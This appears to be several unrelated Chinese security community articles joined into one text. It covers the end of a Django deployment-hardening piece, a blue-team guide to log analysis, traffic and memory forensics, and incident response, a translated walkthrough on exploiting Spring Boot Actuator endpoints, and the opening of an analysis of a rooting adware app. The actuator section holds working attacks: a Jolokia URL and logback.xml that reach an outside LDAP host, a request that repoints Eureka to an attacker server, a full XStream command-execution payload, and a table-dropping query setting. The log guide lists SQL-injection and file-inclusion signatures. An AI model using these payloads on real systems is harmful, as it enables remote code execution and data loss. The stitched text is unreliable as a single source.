'DEFAULT_RENDERER_CLASSES': (
'rest_framework.renderers.JSONRenderer',
#'rest_framework.renderers.BrowsableAPIRenderer',
),
...
}
因为攻击者可以利用BrowsableAPIRenderer输出的表单和返回结果，很容易地进行测试和攻击，也可能是DRF本身出现的前端安全漏洞（如XSS），会影响到你。
另外，DRF自带一个用户登陆View（ [4 - Authentication and permissions - Django REST
framework](http://link.zhihu.com/?target=http%3A//www.django-rest-framework.org/tutorial/4-authentication-and-permissions/%23adding-login-to-the-browsable-api) ），如果你不想用户被爆破的话，也请检查自己的urls.py，是否添加了这个View。
**Web容器安全部署**
这个就是常规话题了，按照服务器正常加固方法加固即可。
因为Pwnhub部署在Docker中，所以我们需要用Nginx在前端进行转发，但Django中有些需要获取IP的方法（Django有个配置叫INTERNAL_IPS，如果访客IP在这个配置项中，将可能可以享受一些DEBUG模式才有的功能），我使用了HTTP_X_FORWARDED_FOR这个头，那么在Nginx中就必须覆盖用户提交的头，否则就有可能造成任意IP伪造漏洞。
## 总结
作为一个小团队，虽然很难像微软等大公司这样去实现完整的SDL，但是针对Pwnhub这样小规模的项目，通过学习上述的安全编码知识，我们也能最大程度保障这个项目不被恶意攻击。如果大家有一些安全编码相关的想法，欢迎与我们讨论。 | 社区文章 |
## 日志分析
# 基础日志分析
## Web服务器日志
### 日志文件位置
* IIS
* Windows Server 2003 iis6日志路径:
C:\Windows\System32\LogFiles
* Windows Server 2008 R2、2012、2016、2019 iis7以上日志路径：
C:\inetpub\logs\LogFiles
* Apache
* Apache+Windows
* D:\xampp\apache\logs\access.log
* Apache+Linux
* /var/log/apache/access.log
* /var/log/apache2/access.log
* /var/log/httpd/access.log
* nginx
* /usr/local/nginx/logs
* 常见格式内容
* 访问的主机IP
* 请求时间
* 请求方法、请求的URL、采用的协议
* HTTP状态码
### 基础分析方法
* 访问频率分析
* 目录扫描
* 扫描的基本都是一些备份文件、敏感信息、后台目录、配置文件，一般是Head方法，状态码多数为404
* 盲注
* 常见盲注函数
* sleep\mid\left\right\ord\ascii
* 日志中请求的URL或者POST的内容每次大体都差不多，只改变个别字符。整个过程修改的所有ascii 码就是最后跑出来的字段内容
* 账户密码暴破
* 短时间针对某一账号发起多次请求，返回值基本相同，暴破失败，长度xxx，暴破成功，长度xxxxx
* Web漏洞扫描
* 根据User-Agent来判断
* 访问IP基本是一个VPS主机
* 特征字符串分析
* SQL注入漏洞
* 万能密码
* admin' or '1'='1
* username = secpulse'=' password = secpulse'='
* ffifdyop
* 报错注入
* floor()、extractvalue()、updatexml()、geometrycollection()、multipoint()、polygon()、multipolygon()、linestring()、multilinestring()、exp()
* 关键字特征
* union、order by、select...from
* 数据库类型判断
* MySQL
* id=2 and version()>0 返回正常
* Access
* and (select count(*) from sysobjects)>0 返回异常
* SqlServer
* and (select count(*) from sysobjects)>0 返回正常
* Oracle
* and length(select user from dual)>0 返回正常
* XSS漏洞
- JS标签
<script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input>
<select> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio>
- JS属性
- formaction action href xlink:href autofocus src content data
* 文件上传漏洞
* multipart/form-data（表示该请求是一个文件上传请求）
* 存在boundary字符串（作用为分隔符，以区分POST数据
* Content-Disposition、filename、name、file
* rebeyond \ AntSword
* 文件包含漏洞
* ../../../
* php://filter/convert.base64-encode/resource=
* data://text/plain;base64,
* 反序列化漏洞
* aced 0005 7372（攻击者为了Bypass WAF 可能会进行编码）
* ysoserial
## 操作系统日志
### Linux
### Windows
* 系统日志
* %SystemRoot%\System32\Winevt\Logs\System.evtx
* 安全日志
* %SystemRoot%\System32\Winevt\Logs\Security.evtx
* 应用程序日志
* %SystemRoot%\System32\Winevt\Logs\Application.evtx
* PowerShell历史命令
* %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
* 事件日志ID
## 日志分析技巧
第一种：确定入侵的时间范围，以此为线索，查找这个时间范围内可疑的日志，进一步排查，最终确定攻击者，还原攻击过程。
第二种：攻击者在入侵网站后，通常会留下后门维持权限，以方便再次访问，我们可以找到该文件，并以此为线索来展开分析。
1、列出当天访问次数最多的IP命令：
cut -d- -f 1 log_file|uniq -c | sort -rn | head -20
2、查看当天有多少个IP访问：
awk '{print $1}' log_file|sort|uniq|wc -l
3、查看某一个页面被访问的次数：
grep "/index.php" log_file | wc -l
4、查看每一个IP访问了多少个页面：
awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file
5、将每个IP访问的页面数进行从小到大排序：
awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n
6、查看某一个IP访问了哪些页面：
grep ^111.111.111.111 log_file| awk '{print $1,$7}'
7、去掉搜索引擎统计当天的页面：
awk '{print $12,$1}' log_file | grep ^\"Mozilla | awk '{print $2}' |sort | uniq | wc -l
8、查看2018年6月21日14时这一个小时内有多少IP访问:
awk '{print $4,$1}' log_file | grep 21/Jun/2018:14 | awk '{print $2}'| sort | uniq | wc -l
9、统计爬虫
grep -E 'Googlebot|Baiduspider' /www/logs/access.2019-02-23.log | awk '{ print $1 }' | sort | uniq
10、统计浏览器
cat /www/logs/access.2019-02-23.log | grep -v -E 'MSIE|Firefox|Chrome|Opera|Safari|Gecko|Maxthon' | sort | uniq -c | sort -r -n | head -n 100
11、IP统计
grep '23/May/2019' /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -r -n | head -n 10
12、统计网段
cat /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3".0"}' | sort | uniq -c | sort -r -n | head -n 200
13、统计域名
cat /www/logs/access.2019-02-23.log |awk '{print $2}'|sort|uniq -c|sort -rn|more
14、 统计URL
cat /www/logs/access.2019-02-23.log |awk '{print $7}'|sort|uniq -c|sort -rn|more
15、URL访问量统计
cat /www/logs/access.2019-02-23.log | awk '{print $7}' | egrep '\?|&' | sort | uniq -c | sort -rn | more
# 流量分析
常用工具：WireShark，在海量的流量中如何快速分析，工具使用技巧是第一步。
## WireShark 使用技巧
### 数据过滤
IP过滤:
ip.addr==192.168.111.169，ip.src== 192.168.111.1,ip.dst== 192.168.111.157
端口过滤:
tcp.port==21、udp.port==53
协议过滤:
直接输入：HTTP、HTTPS、SMTP、ARP等
请求方法过滤:
http.request.method=="POST"
http.request.method=="GET"
http.request.uri=="/flag.php"
http contains flag// 请求或响应中内容为flag
组合过滤:
ip.addr==x.x.x.x && tcp.port==21、tcp.port==21 or udp.port==53
### 数据统计
文件属性统计：
IP统计：
端口统计：
在菜单中选择Statistics，然后选择Conversation，就可以统计出所在数据包中所有通信IP地址，包括IPV4和IPV6，点击TCP可以看到所有TCP会话的IP、端口包括数据包数等信息，且可以根据需求排序、过滤数据。UDP同理。
### 搜索功能
Command + F弹出搜索框，
Display Filter：显示过滤器，用于查找指定协议所对应的帧。
Hex Value：搜索数据中十六进制字符位置。
String：字符串搜索。Packet list：搜索关键字匹配的flag所在帧的位置。Packet
details：搜索关键字匹配的flag所包括数据的位置。Packet bytes：搜索关键字匹配的内容位置。
> 此处用的是Packet details，搜索关键字符串`flag{`，实际蓝队中可以搜索一些危险函数、漏洞特征字符串等。
### TCP 数据流追踪（Follow TCP Stream）
其中，红色部分为客户的请求request,蓝色为服务端响应response
### HTTP 分析
在菜单中选择Statistics，选择HTTP，然后选择Requests（可以过滤IP）,就可以统计出HTTP会话中Request的域名，包括子域名。
## 流量包修复
wireshark打开流量包后提示包异常的情况，通过在线工具修复：
<http://f00l.de/hacking/pcapfix.php>
## USB 流量分析
MacOS上使用tshark，需要安装wireshark到系统环境变量中
tshark -r password.pcap -T fields -e usb.capdata > usbdata.txt
得到对应的键盘位置，查表找到明文，或者写脚本。
现成的轮子：
<https://github.com/WangYihang/UsbKeyboardDataHacker>
# 磁盘内存分析
工具：
* EasyRecovery
* MedAnalyze
* FTK
* Elcomsoft Forensic Disk Decryptor
* Volatility
## 磁盘
常见的磁盘分区格式有以下几种
Windows: FAT12 -> FAT16 -> FAT32 -> NTFS
Linux: EXT2 -> EXT3 -> EXT4
FAT 主磁盘结构
删除文件：目录表中文件名第一字节 `e5`
## VMDK
VMDK
文件本质上是物理硬盘的虚拟版，也会存在跟物理硬盘的分区和扇区中类似的填充区域，我们可以利用这些填充区域来把我们需要隐藏的数据隐藏到里面去，这样可以避免隐藏的文件增加了
VMDK 文件的大小（如直接附加到文件后端），也可以避免由于 VMDK 文件大小的改变所带来的可能导致的虚拟机错误。而且 VMDK
文件一般比较大，适合用于隐藏大文件。
## 内存
解析 Windows / Linux / Mac OS X 内存结构
分析进程，内存数据
根据题目提示寻找线索和思路，提取分析指定进程的特定内存数
## 内存提取导图
来源：<https://wiki.ffffffff0x.com/1earn/security/blueteam/bi-ji/nei-cun-qu-zheng>
## 内存取证例题
volatility基础用法：
`python vol.py -f [内存文件] --profile=[配置文件] <插件>`
扫描内存中的进程：
python vol.py -f ../../../Downloads/suspicion/mem.vmem psscan
imageinfo：识别内存映像相关信息（包括了配置文件类型、处理器数量、文件类型、文件日期与时间等等）
\--info参数来查看Volatiliity已经添加的profile和插件等信息
kdbgscan这个插件可以扫描文件的profile的值:
pslist可以用来列出运行的进程:
python vol.py -f ../../../Downloads/suspicion/mem.vmem --profile=WinXPSP3x86
pslist
如果Exit 那一栏有列出时间，说明进程已经结束
hivelist用来列举缓存在内存中的注册表：
filescan，扫描文件：
文件很多，可以输出重定向到文件中，方便分析。
dumpfiles，将缓存文件导出
更多操作，官方文档：
<https://github.com/volatilityfoundation/volatility/wiki/Command-Reference>
下面是解题过程：
通过pslist插件发现有TrueCrypt.exe进程，
推测题目所给的另一个文件是使用TrueCrypt进行加密了的。且进程没有退出，加密的密钥有可能就在进程中，将该进程作为文件导出。
memdump，转储出可寻址的内存数据：
python vol.py -f ../../../Downloads/suspicion/mem.vmem --profile=WinXPSP3x86
memdump -p 2012 -D ./outout
得到2012.dmp
TrueCrypt进行加密,采用Elcomsoft Forensic Disk Decryptor软件进行解密。
暴破出加密的key:
BEGIN KEYS SEARCH
Progress: 100% [ 89 / 89 MB]
END SEARCHING
Search result:
Algorithm:'TrueCrypt' Volume Master Keys
Key data (hex): 030000006daa0cef6be318bd75080ec053287f74bcacad0ed9636a058388048263c1799333ab2b30fc0cc872f31bad043be78119ff4fd2960fc6203c70697059544326930000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001e1c11ec5cfcd0921a21fb083ba9b7c5f6ac12518526001fad6bfafa114bbd6c5dddbc41923571d685d95a968bed6693541cc4d95831745aaa49b842612ce32400000000000002000000000000003c0100000000
然后挂载到本地磁盘，得到flag
# 木马查杀与分析
常见的：webshell与exe
## WebShell查杀
D盾
在线WebShell查杀:
<https://scanner.baidu.com/>
<https://www.shellpub.com/>
## EXE木马
杀软病毒查杀&虚拟机断网分析（监控进程，监控网络，行为分析）
微步：
<https://s.threatbook.cn/>
QAX：
<https://sandbox.ti.qianxin.com/>
VT：
<https://www.virustotal.com/gui/home/upload>
大圣云沙箱：
<https://mac-cloud.riskivy.com/detect?theme=vulbox>
# 应急响应
应急响应包括前面的日志分析等内容,并补充一些常见的场景
## 进程分析
## Linux
### Gscan
<https://github.com/grayddq/GScan>
1、主机信息获取
2、系统初始化alias检查
3、文件类安全扫描
3.1、系统重要文件完整行扫描
3.2、系统可执行文件安全扫描
3.3、临时目录文件安全扫描
3.4、用户目录文件扫描
3.5、可疑隐藏文件扫描
4、各用户历史操作类
4.1、境外ip操作类
4.2、反弹shell类
5、进程类安全检测
5.1、CUP和内存使用异常进程排查
5.2、隐藏进程安全扫描
5.3、反弹shell类进程扫描
5.4、恶意进程信息安全扫描
5.5、进程对应可执行文件安全扫描
6、网络类安全检测
6.1、境外IP链接扫描
6.3、恶意特征链接扫描
6.4、网卡混杂模式检测
7、后门类检测
7.1、LD_PRELOAD后门检测
7.2、LD_AOUT_PRELOAD后门检测
7.3、LD_ELF_PRELOAD后门检测
7.4、LD_LIBRARY_PATH后门检测
7.5、ld.so.preload后门检测
7.6、PROMPT_COMMAND后门检测
7.7、Cron后门检测
7.8、Alias后门
7.9、SSH 后门检测
7.10、SSH wrapper 后门检测
7.11、inetd.conf 后门检测
7.12、xinetd.conf 后门检测
7.13、setUID 后门检测
7.14、8种系统启动项后门检测
8、账户类安全排查
8.1、root权限账户检测
8.2、空口令账户检测
8.3、sudoers文件用户权限检测
8.4、查看各账户下登录公钥
8.5、账户密码文件权限检测
9、日志类安全分析
9.1、secure登陆日志
9.2、wtmp登陆日志
9.3、utmp登陆日志
9.4、lastlog登陆日志
10、安全配置类分析
10.1、DNS配置检测
10.2、Iptables防火墙配置检测
10.3、hosts配置检测
11、Rootkit分析
11.1、检查已知rootkit文件类特征
11.2、检查已知rootkit LKM类特征
11.3、检查已知恶意软件类特征检测
12.WebShell类文件扫描
12.1、WebShell类文件扫描
### 文件排查
最近使用文件
* find / -ctime -2
### 登录排查
* /etc/shadow 密码登陆相关信息
* uptime 查看用户登陆时间
* /etc/sudoers sudo用户列表
* 弱口令排查
### 进程排查
* w 命令，查看用户及其进程
* 分析开机自启程序/脚本
* /etc/init.d
* ~/.bashrc
* 查看计划或定时任务
crontab -l
* netstat -an / lsof 查看进程端口占用
## Windows
### 文件排查
最近使用的文件：
C:\Documents and Settings\Administrator\Recent
C:\Documents and Settings\Default User\Recent
%UserProfile%\Recent
### 登录排查
* 弱口令排查
* lusrmgr.msc 查看账户变化
* net user 列出当前登录账户
* wmic UserAccount get 列出当前系统所有账户
### 进程排查
* netstat -ano 查看是否打开了可疑端口
* tasklist 查看是否有可疑进程
* 开机启动项分析
* (ProfilePath)\Start Menu\Programs\Startup 启动项
* msconfig 启动选项卡
* gpedit.msc 组策略编辑器
* 定时任务分析
* C:\Windows\System32\Tasks\
* C:\Windows\SysWOW64\Tasks\
* C:\Windows\tasks\
* schtasks
* taskschd.msc
* compmgmt.msc
* 已经启动的服务：services.msc
# 漏洞修复
当然实际环境中，漏洞修复要结合业务，来决定如何修复，因此下面都只是给出单个漏洞场景的修复方式。
## 信息泄露漏洞
### Nginx目录遍历漏洞
修改nginx配置文件，autoindex=off;
### IIS 目录遍历漏洞
在IIS的网站属性中，勾去“目录浏览”选项，重启IIS。
### Apache 目录遍历漏洞
打开Apache配置文件httpd.conf，查找“Options Indexes FollowSymLinks”，修改为“ Options
-Indexes”(减号表示取消，保存退出，重启Apache。
### 敏感文件泄露
svn\git\zip\rar等
删除
## SSRF
* 过滤返回信息，验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。统一错误信息，避免用户可以根据错误信息来判断远端服务器的端口状态。
* 限制请求的端口为http常用的端口，比如，80,443,8080,8090。
* 黑名单内网ip。避免应用被用来获取获取内网数据，攻击内网。
* 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp://，dict://等引起的问题。
## 注入漏洞
SQL注入、命令注入、模版注入等注入漏洞
* 过滤注入漏洞所需要的关键字，前提是不能影响正常的业务功能。
* 采用预编译的方式进行SQL操作
* 设置命令执行白名单
* 严格编写正则
* 升级存在漏洞的版本
## XSS
* 验证所有输入数据，有效检测攻击；
* 对所有输出数据进行适当的编码，以防止任何已成功注入的脚本在浏览器执行；
* 限制输入长度
## CSRF
* 通过referer判断页面来源进行CSRF防护，该方式无法防止站内CSRF攻击及referer字段伪造。
* 重要功能点使用动态验证码进行CSRF防护。
* 通过token方式进行CSRF防护：（CSRF-Token）
## 文件上传漏洞
* 文件名随机重命名、目录随机
* 上传到静态不解析目录
* 文件上传白名单
* 设置单独的文件服务器
## 文件包含漏洞
* PHP:配置php.ini关闭远程文件包含功能(allow_url_include = Off)
* 严格检查变量是否已经初始化
* 严格编写正则（禁止../等特征字符串）
## Shiro、Weblogic、Fastjson等组件漏洞
* Shiro：升级到最新安全版本，修改默认key
* Struts2：升级到最新安全版本
* Tomcat：修改管理后台弱口令，避免被部署WAR包GetShell
* Weblogic：及时打补丁
* Fastjson：开启safeMode，升级到安全版本
A.在代码中配置
ParserConfig.getGlobalInstance().setSafeMode(true);
B.加上JVM启动参数
-D fastjson.parser.safeMode=true
如果有多个包名前缀，用逗号隔开
C.通过fastjson.properties文件配置。
通过类路径的fastjson.properties文件来配置，配置方式如下：
fastjson.parser.safeMode=true
fastjson在1.2.68及之后的版本中引入了safeMode，配置safeMode后，无论白名单和黑名单，都不支持autoType，可一定程度上缓解反序列化Gadgets类变种攻击（关闭autoType注意评估对业务的影响）
# 安全配置与加固
## 端口安全
* 对外不开放高危端口，不启用无用的端口，只开放80、443、8080、8090等常规端口。
* 如有需要ssh，ftp，mysql等数据库端口，需要排查弱口令后再对外外放，并且定期修改密码
* 检查是否存在未授权访问漏洞的端口
## 系统安全
* 及时打漏洞补丁
* 前面应急响应相关内容
## 密码安全
* 长度不少于8个字符
* 密码中同时存在大小写字母、数字和特殊符号
* 不存在于已有字典之中
* 定期修改密码
## 应用安全
* FTP 禁止匿名登录、修改Banner信息防止被识别
* SSH 是否禁用root登录、是否需要禁用密码连接、采用ssh密钥登录
* VPN 是否为最新安全版本、账户密码定期修改
* 数据库应用 文件写权限、日志记录是否开启、账户密码弱口令排查
## 参考资料
[CTF-MISC-日志分析](https://www.jianshu.com/p/bb5b4c31f4f5)
[应急中Web日志分析](https://zhuanlan.zhihu.com/p/90300750)
[wireshark技巧](https://wh0ale.github.io/2019/03/09/2019-3-9-wireshark%E6%8A%80%E5%B7%A7/)
[磁盘内存分析 CTF-WIKI](https://ctf-wiki.org/misc/disk-memory/introduction/)
[Fastjson漏洞修复参考](https://www.cnblogs.com/rab3it/p/14309497.html) | 社区文章 |
`Spring Boot`框架中包含了许多actuators 功能，它可帮助开发人员在将Web应用程序投入生产时监视和管理Web应用程序。
它们被用于审计运行状况和对指标进行收集，它们还可以在配置错误时打开服务器的隐藏功能。
当Spring Boot应用程序运行时，它会自动将多个端点（例如`'/health', '/trace', '/beans', '/env'
etc`等）注册到路由进程中。 对于`Spring Boot 1 - 1.4`，它们无需身份验证即可访问，从而导致严重的安全问题。 从Spring
1.5版开始，默认情况下，除“`/health”和“/info`”之外的所有端点都被视为安全的，但应用程序开发人员通常会禁用此安全性。
以下Actuator端点可能具有安全隐患，从而导致漏洞问题：
* /dump - 显示线程转储情况（包括堆栈跟踪）
* /trace - 显示最后几条HTTP消息（可能包含会话标识符）
* /logfile - 输出日志文件的内容
* /shutdown - 关闭应用程序
* /mappings - 显示所有MVC控制器映射
* /env - 提供对配置环境的访问
* /restart - 重新启动应用程序
对于`Spring 1x`，它们在根URL下进行注册，并在2x版本中将此功能移动到“`/actuator/`”的路径下。
### 漏洞分析
大多数`actuators`仅支持`GET`请求。因此敏感的配置数据会被公布出来，但其中一些对于shell攻击者来说值得分析：
#### 通过/jolokia进行远程执行
如果J`olokia`库位于目标应用程序路径中，`Spring Boot`会在'`/jolokia`'的`actuator`端点下公开它。
`Jolokia`允许对所有已注册的`MBean`进行`HTTP`访问，并且执行与使用JMX执行的相同操作。
这里我们可以使用`URL`来列出所有可用的`MBean`操作：
**[http://127.0.0.1:8090/jolokia/list](https://www.veracode.com/)**
同样，大多数MBeans操作只是列出了一些系统数据，但其中一个特别值得我们关注：
`Logback`库提供的“`reloadByURL`”操作允许我们从外部URL重新加载日志的记录配置。 对于我们来说，只需导航到以下内容即可触发：
`http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`
那么，我们为什么要关心日志配置呢？ 主要是因为两个原因：
1 `Config`具有`XML`格式，当然，`Logback`在启用外部实体的情况下会对XML进行解析，因此它很容易受到XXE攻击。
2 Logback配置具有“从`JNDI`获取变量”功能。 在XML文件中，我们可以包含一个标签，如`'<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName"
/>'`，`name`属性将传递给`DirContext.lookup()` 方法。
如果我们可以在`.lookup()`函数中提供对应名称值，我们甚至不需要`XXE或HeapDump`，因为它为我们提供了完整的远程执行代码。
**工作机理**
1.攻击者请求上述URL执行'`qos.logback.classic.jmx.JMXConfigurator`'类提供的'`reloadByURL`'函数。
2.“`reloadByURL`”函数从`http://artsploit.com/logback.xml`下载新的配置并将其解析为`Logback`。
此恶意配置应具有以下内容：
<configuration>
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>
3.在易受攻击的服务器上解析此文件时，它会创建与“`env-entry-name`”参数值中指定的攻击者`LDAP`服务器的连接，从而导致`JNDI`进行解析。
恶意的`LDAP`服务器可以返回具有“引用”类型的对象，以触发在目标应用程序上执行字节码。
这篇`MicroFocus`研究论文很好地解释了`JNDI`攻击。 由于`Tomcat`是`Spring
Boot`架构中的默认应用程序服务器，所以新的`JNDI`开发技术也适用于此。
#### 2 通过'/env'进行配置修改
如果`Spring Cloud Libraries`在路径中，则'`/env`'端点会默认允许修改Spring环境属性。
注释为“`@ConfigurationProperties`”的所有bean都可以进行修改和重新绑定。
我们可以控制的许多属性列位于'`/configprops`'的`Actuators`端点上。
实际上，我们需要清除所修改的内容才能达到目标。几天后我们发现了这个：
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
此属性将`Eureka serviceURL`修改为任意值。 `Eureka Server`通常用作发现服务器，几乎所有`Spring
Cloud`应用程序都在其中注册并向其发送状态更新。 如果幸运的话，目标路径中的`Eureka-Client <1.8.7`（通常包含在`Spring
Cloud Netflix`中）可以利用`XStream`反序列化漏洞。
我们需要做的就是通过'`/env`'将'`eureka.client.serviceUrl.defaultZone`'属性设置为我们的服务器`URL（http://artsploit.com/n/xstream）`，然后调用'`/refresh`'端点。
之后，我们的服务器应该使用以下内容为`XStream`提供参数：
<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>
此`XStream`的payload是`Marshalsec`研究中`ImageIO JDK`的修改版本。
这里唯一的区别是使用`LinkedHashSet`来触发'`jdk.nashorn.internal.objects.NativeString.hashCode()`'方法。
原始payload利用`java.lang.Map`来实现相同的功能，但`Eureka`的`XStream`配置中有一个自定义的map转换器，能够使其功能失效。
然而上面的payload根本不使用Maps内容，可用于远程执行代码而无需额外的条件约束。
使用`Spring Actuators`，即使用户无法访问内部`Eureka`服务器，我们也可以利用此漏洞。我们只需要一个“`/env`”端点。
#### 其余设置：
`spring.datasource.tomcat.validationQuery = drop + table + users`
允许我们进行SQL查询，它将自动对当前数据库执行。 其支持任何入，更新或删除语句。
**spring.datasource.tomcat.url**
=jdbc:hsqldb:[https://localhost:3002/xdb](https://www.veracode.com/)允许我们修改当前的JDBC连接字符串。
最后一个方法很有作用，但问题是当运行数据库连接的应用程序已经建立时，只更新JDBC字符串没有任何效果。 不过在这种情况下还有另一个属性可以帮助我们：
`spring.datasource.tomcat.max-active=777`
我们在这里可以增加与数据库的同时连接数。 因此，我们可以更改JDBC连接字符串，增加连接数，然后向应用程序发送许多请求以模拟负载。
在负载下，应用程序将使用更新的恶意JDBC字符串创建新的数据库连接。 我在Mysql本地测试了这种技术。
除此之外，这里还存在其他的一些属性：
`spring.datasource.url` \- 数据库连接字符串（仅用于第一个连接）
`spring.datasource.jndiName` \- 数据库JNDI字符串（仅用于第一个连接）
`spring.datasource.tomcat.dataSourceJNDI` \- 数据库JNDI字符串
`spring.cloud.config.uri = http://artsploit.com/ - spring cloud config
url`（应用启动后没有任何效果，只使用初始值。）
除非调用'`/restart`'端点，否则这些属性没有任何效果。 此端点重新启动所有`ApplicationContext`，但默认情况下禁用它。
注： 在`Spring Boot 2x`中，通过'`/env`'端点修改属性的请求格式略有不同（它使用的是json格式），但结果是一样的。
**易受攻击的应用程序示例：**
如果要在本地测试此漏洞，我在Github页面上创建了一个简单的[Spring
Boot](https://github.com/artsploit/actuator-testbed)应用程序。 所有payload均可以进行复现。
**黑盒测试：**
可以在此处找到默认`actuators`的完整列表：
`https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt`。应用程序开发人员可以使用`@Endpoint`了创建自己的端点。
本文为翻译文章，来自：https://www.veracode.com/blog/research/exploiting-spring-boot-actuators | 社区文章 |
## **背景：**
随着移动端应用市场数量爆炸式增长，App推广和曝光率也越来越难。哪里有需求哪里就有生财之道，自然，App刷榜也就形成了一条产业链，它能够在短期内大幅提高下载量和用户量，进而提高应用的曝光率。
近期，阿里移动安全发现一款名叫“魔百Wi-Fi”应用，该应用官方的一个版本捆绑了多个病毒， **目的是对**** GooglePlay
****商店应用刷榜和刷大量未知应用安装量**
。该病毒在该设备锁屏时对设备root，root成功后向系统目录植入“刷榜僵尸”病毒，“刷榜僵尸”对指定应用在GooglePlay商店上恶意刷量,同时还会诱骗用户安装“下载者”病毒，“下载者”病毒会在设备屏幕亮起状态会弹出广告页面，若用户触碰广告页面推广的应用将会自动安装运行。该病毒技术相当成熟，root提权使用最高广的漏洞（CVE-2014-3153
TOAWELROOT、CVE-2015-3636 PINGPONG和PUTUSER等），2015年10月之前的设备全部受影响。
**我们对恶意应用的证书对比，惊人的发现并非被重打包！**
“魔百Wi-Fi”在2015年末首次发布，向用户打着安全Wi-Fi旗号，短短半年用户安装量已高达300万。我们发现它具备专业的应用推广团队，目前已在国内知名渠道发布多篇宣传文章，并与国内多家应用商店合作，下图是”魔百Wifi”前不久的一篇文章，文中还提到“截至目前,魔百WiFi拥有超过2亿的国内外热点，已覆盖商场、酒店，热点全线接入”。
##
##
图1
“魔百Wifi”目前最新版本为2.3.18。根据应用证书md5(5919ee638614c467152ab4d07c9cc2dc)排查，发现版本2.3.5～2.3.10被官方插入了恶意代码。值得注意的是，官方发布的2.3.8版本打了两个不同的包，一个增加root提权向系统目录植入“刷榜僵尸”，另外一个包和2.3.10版本应用都捆绑了“下载者”病毒。捆绑了“刷榜僵尸”和“下载者”的“魔百Wifi”，利用自身的用户量对应用刷榜和安装，进而非法牟利。以下是对“魔百Wi-Fi”2.3.8带root包的应用分析。
## **一、主包分析：**
该病毒捆绑了多个子包，以下是各个模块关系图：
图2
\1. 解密assets目录下sdk.data、
**image数据，解密后sdk.data是一个目录，目录下包括MainJson.txt、dexhostinjection.jar、libDaemonProcess.so,**
image是apk文件；
\2.
唤起PushDexService、PushJobService完成dexhostinjection.jar加载，以及执行dexhostinjection.jar的com.hostinjectiondex.external.ExternalInterfaces类的startExternalBody方法，子包下载“下载者”病毒update，并诱导用户安装。
\3.
开启后台服务利用libgodlikelib.so进行root提权，提权成功将libgodlikelib.so提权工具库写入系统库文件；__image解密的apk文件植入系统目录，取名AndroidDaemonFrame.apk即是“刷榜僵尸”病毒；
## **二、root提权**
该样本是基于开源的[RUN_ROOT_SHELL](https://github.com/android-rooting-tools/android_run_root_shell)改写而成，可以对2015年10月份之前的全部设备root，主要利用了以下漏洞进行提权：
(1) CVE-2012-4220
影响设备：Android2.3～4.2
使用的QualcommInnovation
Center(QuIC)Diagnostics内核模式驱动程序diagchar_core.c在实现上存在整数溢出漏洞,通过向diagchar_ioctl内传递特制的输入,远程攻击者可利用此漏洞执行任意代码或造成拒绝服务。
(2) /dev/graphics/fb0
fb0设备mmap漏洞（触发参数FBIOGET_FSCREENINFO）
(3) /dev/hdcp
hdcp设备mmap漏洞
(4) CVE-2013-6282
影响版本：linux kernel3.2.1、Linux kernel3.2.2、Linux kernel3.2.13
Linux kernel对ARM上的get_user/put_user缺少访问权限检查，本地攻击者可利用此漏洞读写内核内存，获取权限提升。
(5) /dev/msm_acdb
高通设备漏洞
(6) CVE-2013-2595
/dev/msm_camera/config0高通设备MMAP漏洞。
(7) CVE-2013-2094
影响版本：linux kernel3.8.9之前开启了PERF_EVENT的设备
利用该漏洞，通过perf_event_open系统调用，本地用户可以获得系统的最高权限。
(8) CVE-2015-3636
影响设备：2015年9月份之前的设备
pingpong该漏洞是Linux kernel的ping套接字上存在的一个Use-After-Free漏洞。
(9) CVE-2014-3153
影响设备：2014年6月以前的设备
漏洞利用了futex_requeue、futex_lock_pi、futex_wait_requeue_pi三个函数存在的RELOCK漏洞和REQUEUE漏洞,造成了对内核栈上的数据修改。
对设备成功提权后，会将解密的__image植入/system/priv-app目录并命名为AndroidDaemonFrame.apk，将libgodlikelib.so提权工具库植入/system/lib目录。下图提权并向系统目录植入恶意文件。
图3
##
